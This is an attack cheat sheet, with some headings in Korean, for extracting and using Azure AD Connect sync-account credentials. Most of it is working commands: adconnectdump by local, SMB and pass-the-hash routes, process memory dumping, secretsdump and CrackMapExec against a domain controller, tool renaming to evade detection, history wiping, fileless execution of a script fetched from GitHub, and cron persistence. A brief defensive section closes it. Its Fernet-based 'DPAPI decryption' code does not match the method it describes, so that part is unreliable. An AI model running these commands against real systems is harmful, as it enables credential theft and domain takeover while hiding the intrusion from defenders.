Azure AD Connect Architecture

Understanding AAD Connect

# Azure AD Connect components:
# 1. Synchronization Service (ADSync)
# 2. Database (LocalDB or SQL Server)
# 3. Service Accounts
# 4. Configuration Data

# Key files and locations:
# Database: C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf
# Config: C:\Program Files\Microsoft Azure AD Sync\Bin\
# Logs: C:\ProgramData\AADConnect\

Service Account Identification

# Identify AAD Connect service accounts
Get-Service|Where-Object \\\\{$_.Name -like "*ADSync*"\\\\}

# Check service account privileges
Get-WmiObject -Class Win32_Service|Where-Object \\\\{$_.Name -eq "ADSync"\\\\}|Select-Object StartName

# Verify AAD Connect installation
Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Azure AD Connect" -Name "Version"

Credential Extraction Techniques

Local Database Access

# Direct database access (requires local admin)
python3 adconnectdump.py --database "C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf"

# Extract from backup database
python3 adconnectdump.py --database "C:\Backup\ADSync_backup.mdf"

# Extract from SQL Server instance
python3 adconnectdump.py --sql-server "SQLSERVER\INSTANCE" --database "ADSync"

Remote Extraction via SMB

# Extract via SMB with credentials
python3 adconnectdump.py --host aadconnect.domain.com --username "domain\admin" --password "password"

# Extract using pass-the-hash
python3 adconnectdump.py --host aadconnect.domain.com --username "admin" --hashes ":aad3b435b51404eeaad3b435b51404ee:hash"

# Extract with specific target IP
python3 adconnectdump.py --host aadconnect.domain.com --target-ip 192.168.1.100 --username "admin" --password "password"

Memory Extraction

# Extract from memory (requires admin privileges)
# Use tools like Mimikatz or ProcDump

# Dump ADSync process memory
procdump.exe -ma miiserver.exe aadsync_dump.dmp

# Extract credentials from memory dump
python3 adconnectdump.py --memory-dump aadsync_dump.dmp

Configuration Analysis

Database Schema Analysis

-- Key tables in ADSync database
-- mms_management_agent: Contains connector information
-- mms_server_configuration: Server configuration
-- mms_synchronization_rule: Sync rules
-- mms_metaverse_object: Metaverse objects

-- Extract connector information
SELECT ma_name, ma_type, private_configuration_xml
FROM mms_management_agent;

-- Extract server configuration
SELECT applied_time, configuration_xml
FROM mms_server_configuration;

Configuration File Analysis

# Analyze AAD Connect configuration files
$configPath = "C:\Program Files\Microsoft Azure AD Sync\Bin\"

# Check connector configurations
Get-ChildItem -Path $configPath -Filter "*.xml"|ForEach-Object \\\\{
    [xml]$config = Get-Content $_.FullName
    Write-Host "File: $($_.Name)"
    Write-Host "Connectors: $($config.SelectNodes('//connector').Count)"
\\\\}

# Extract service account information
$serviceConfig = Get-Content "$configPath\miiserver.exe.config"
$serviceConfig|Select-String -Pattern "connectionString\|serviceAccount"

Credential Decryption

Understanding Encryption

# AAD Connect credential encryption process
# 1. Credentials encrypted with DPAPI
# 2. Machine key used for encryption
# 3. Service account context required

# Decryption process
import base64
from cryptography.fernet import Fernet

def decrypt_aad_connect_password(encrypted_password, key):
    """Decrypt AAD Connect password"""
    try:
        # Base64 decode
        encrypted_data = base64.b64decode(encrypted_password)

        # Decrypt using key
        f = Fernet(key)
        decrypted = f.decrypt(encrypted_data)

        return decrypted.decode('utf-8')
    except Exception as e:
        print(f"Decryption failed: \\\\{e\\\\}")
        return None

Manual Decryption

# Manual credential decryption (PowerShell)
Add-Type -AssemblyName System.Security

function Decrypt-AADConnectPassword \\\\{
    param(
        [string]$EncryptedPassword,
        [byte[]]$Key
    )

    try \\\\{
        # Convert from base64
        $encryptedBytes = [Convert]::FromBase64String($EncryptedPassword)

        # Decrypt using DPAPI
        $decryptedBytes = [System.Security.Cryptography.ProtectedData]::Unprotect(
            $encryptedBytes,
            $null,
            [System.Security.Cryptography.DataProtectionScope]::LocalMachine
        )

        return [System.Text.Encoding]::UTF8.GetString($decryptedBytes)
    \\\\}
    catch \\\\{
        Write-Error "Decryption failed: $_"
        return $null
    \\\\}
\\\\}

Post-Exploitation Techniques

Using Extracted Credentials

# Use extracted Azure AD credentials
# Typically format: MSOL_<guid>@<tenant>.onmicrosoft.com

# Authenticate to Azure AD
az login --username "MSOL_12345678-1234-1234-1234-123456789012@company.onmicrosoft.com" --password "extracted_password"

# Use with AADInternals
Import-Module AADInternals
$accessToken = Get-AADIntAccessTokenForAADGraph -UserPrincipalName "MSOL_account@company.onmicrosoft.com" -Password "extracted_password"

On-Premises Active Directory Access

# Use extracted on-premises credentials
# Format: domain\username

# Authenticate to domain
net use \\dc.domain.com\c$ /user:domain\MSOL_service_account extracted_password

# Use with Impacket tools
python3 secretsdump.py domain/MSOL_service_account:extracted_password@dc.domain.com

# Use with CrackMapExec
crackmapexec smb dc.domain.com -u MSOL_service_account -p extracted_password

Privilege Escalation

# Check privileges of extracted account
Import-Module ActiveDirectory
Get-ADUser -Identity "MSOL_service_account" -Properties MemberOf|Select-Object -ExpandProperty MemberOf

# Check Azure AD privileges
Import-Module AADInternals
$roles = Get-AADIntUserRoles -AccessToken $accessToken -UserPrincipalName "MSOL_account@company.onmicrosoft.com"

탐지 회피

은닉 기법

# Use legitimate tools and processes
# Avoid suspicious file names
# Use memory-only techniques when possible

# Rename tool
cp adconnectdump.py system_maintenance.py

# Use legitimate paths
mkdir -p /tmp/.system/maintenance/
cp adconnectdump.py /tmp/.system/maintenance/syscheck.py

안티 포렌식

# Clear evidence after extraction
rm -f credentials.txt
rm -f credentials.json
history -c

# Use in-memory execution
python3 -c "
import urllib.request
exec(urllib.request.urlopen('https://raw.githubusercontent.com/fox-it/adconnectdump/master/adconnectdump.py').read())
"

타이밍 및 스케줄링

# Perform extraction during maintenance windows
# Schedule for off-hours
# Use legitimate administrative sessions

# Example: Schedule extraction
echo "0 2 * * 0 /usr/bin/python3 /tmp/adconnectdump.py --output /tmp/.cache/system.log"|crontab -

방어 조치

모니터링 및 탐지

# Monitor AAD Connect database access
# Enable SQL Server auditing
# Monitor file system access to ADSync.mdf

# PowerShell monitoring script
$databasePath = "C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf"
$watcher = New-Object System.IO.FileSystemWatcher
$watcher.Path = Split-Path $databasePath
$watcher.Filter = "ADSync.mdf"
$watcher.EnableRaisingEvents = $true

Register-ObjectEvent -InputObject $watcher -EventName "Changed" -Action \\\\{
    Write-EventLog -LogName "Application" -Source "AADConnect Monitor" -EventId 1001 -Message "ADSync database accessed"
\\\\}

강화 권장사항

# Secure AAD Connect server
# 1. Restrict local admin access
# 2. Enable advanced auditing
# 3. Use dedicated service accounts
# 4. Implement network segmentation
# 5. Regular security updates

# Enable auditing
auditpol /set /subcategory:"File System" /success:enable /failure:enable
auditpol /set /subcategory:"Logon" /success:enable /failure:enable
auditpol /set /subcategory:"Process Creation" /success:enable
